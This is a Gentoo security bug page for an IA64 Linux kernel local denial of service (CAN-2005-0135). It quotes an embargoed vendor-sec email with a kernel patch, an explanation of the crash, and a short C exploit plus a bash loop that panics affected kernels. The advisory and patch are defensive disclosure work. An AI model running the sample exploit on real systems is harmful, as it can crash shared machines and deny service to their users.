Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 78981 - another ia64 local DoS (CAN-2005-0135) (Vendor-Sec)
Summary: another ia64 local DoS (CAN-2005-0135) (Vendor-Sec)
Status: RESOLVED INVALID
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Kernel (show other bugs)
Hardware: All All
: High normal (vote)
Assignee: Gentoo Security
URL:
Whiteboard: 20050216?
Keywords:
Depends on:
Blocks:
 
Reported: 2005-01-21 11:41 UTC by Sune Kloppenborg Jeppesen (RETIRED)
Modified: 2006-12-27 01:18 UTC (History)
0 users

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2005-01-21 11:41:57 UTC
Another day, another ia64 local DoS...
This is superficially similar to what I flagged way back in:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0447
in terms of how it can panic, but the cause is different.  We
will be assigning a CVE to this.  

This isn't public yet.  We're awaiting feedback from the ia64 
crowd below on whether this is the final and correct fix, along
2.4 backpaches before we sort out a date.  Just wanted to make 
folks who might be having an ia64 build in the pipe that we
"have a situation"...

==========================================================================

Date: Fri, 21 Jan 2005 17:39:13 +1100
From: Keith Owens <kaos@sgi.com>
To: davidm@hpl.hp.com
Cc: tony.luck@intel.com, steiner@sgi.com, bjorn_helgaas@hp.com
Subject: Local DoS on IA64, 2.4 or 2.6 kernels

Sanity check unw_unwind_to_user

Signed-off-by: Keith Owens <kaos@sgi.com>

Index: linux/arch/ia64/kernel/unwind.c
===================================================================
--- linux.orig/arch/ia64/kernel/unwind.c        2005-01-20 11:47:00.000000000 +1100
+++ linux/arch/ia64/kernel/unwind.c     2005-01-21 17:09:10.000000000 +1100
@@ -1962,7 +1962,7 @@ EXPORT_SYMBOL(unw_unwind);
 int
 unw_unwind_to_user (struct unw_frame_info *info)
 {
-       unsigned long ip;
+       unsigned long ip, sp;
 
        while (unw_unwind(info) >= 0) {
                if (unw_get_rp(info, &ip) < 0) {
@@ -1971,6 +1971,9 @@ unw_unwind_to_user (struct unw_frame_inf
                                   __FUNCTION__, ip);
                        return -1;
                }
+               unw_get_sp(info, &sp);
+               if (sp >= (unsigned long)info->task + IA64_STK_OFFSET)
+                       break;
                if (ip < FIXADDR_USER_END)
                        return 0;
        }

---

This is a local DoS against any IA64 kernel, both 2.4 and 2.6.  Hence
the private mail and the understated patch description above.  David,
if this is OK then please follow up with vendor-sec.  I will not be
publishing this patch for a couple of weeks.

2.4 needs a similar patch which I will do once this one has been
reviewed.

If a user space program fudges a function pointer and branches to a
kernel address then unw_unwind_to_user goes at least one cycle too far.
That results in ia64_sync_user_rbs() passing garbage to ia64_peek().
Sometimes the garbage ends up with laddr and bspstore being in
completely different regions, which really breaks the slot
calculations.  I have seen oops in ia64_peek, I have even seen MCA in
other functions and processes (I hate async MCA!).


Sample exploit, from Jack Steiner.

gcc tt.c -o tt
PATH=.:$PATH
./tt1

==> tt.c <==
#include <stdio.h>

int count = 10;
unsigned long fp[2];
void (*func) (void);

long
fa(long i, long j, long k, long l, long m, long n, long o, long p, long q, long r)
{
        if (i <= 0) {
                (*func) ();
                return 0;
        }
        return fa(--i, j, k, l, m, n, o, p, q, r);
}

void
test()
{
        volatile long x = 0;
        while (1)
                x = fa(count, x, x, x, x, x, x, x, x, x);
}

int
main(int argc, char **argv)
{
        volatile long x = 0;

        fp[0] = 0xbf989374bc6a7ef0UL;
        fp[1] = 0xbf8ffd62fab49c9c;
        func = &fp;
        if (argc > 1)
                count = atoi(argv[1]);
        printf("count: %d\n", count);
        x = fa(count, x, x, x, x, x, x, x, x, x);
        return 0;
}



==> tt1 <==
#!/bin/bash
ulimit -c unlimited
N=0
while [ $N -lt 10000 ] ; do
        tt $N
        N=`expr $N + 1`
done
Comment 1 Tim Yamin (RETIRED) gentoo-dev 2005-01-21 15:02:51 UTC
Sidenote: IA64 doesn't use or recommend 2.4 kernels so only 2.6 affected Gentoo-wise.
Comment 2 Tim Yamin (RETIRED) gentoo-dev 2005-07-26 13:27:14 UTC
Not affected on this - we don't use 2.4 on IA64 and 2.6.11 vanilla-sources and
2.6.12 gentoo-sources are stable which both aren't affected by this. Closing bug.